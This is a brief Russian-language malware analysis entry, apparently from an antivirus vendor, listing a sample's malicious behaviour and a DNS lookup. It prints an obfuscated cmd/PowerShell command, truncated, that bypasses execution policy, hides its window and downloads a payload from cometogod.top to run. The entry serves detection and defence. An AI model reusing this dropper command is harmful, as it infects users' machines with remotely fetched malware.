Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://cometogod.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^OWersH^Ell^.exE -^e^X^e^Cu^TIOnPoliCY bYP^as^s -NO^Pr^OFI^L^e -W^INdO^wS^TY^l^E ^hIdDEN ^(new^-O^BJECt^ ^SySt^E^M.^n^ET.w^E^Bcli^E^NT).DowNl^O^A^dfILe('http://cometogod.top/s...
Сетевая активность
UDP
- DNS ASK co###ogod.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^OWersH^Ell^.exE -^e^X^e^Cu^TIOnPoliCY bYP^as^s -NO^Pr^OFI^L^e -W^INdO^wS^TY^l^E ^hIdDEN ^(new^-O^BJECt^ ^SySt^E^M.^n^ET.w^E^Bcli^E^NT).DowNl^O^A^dfILe('http://cometogod.top/s...' (со скрытым окном)
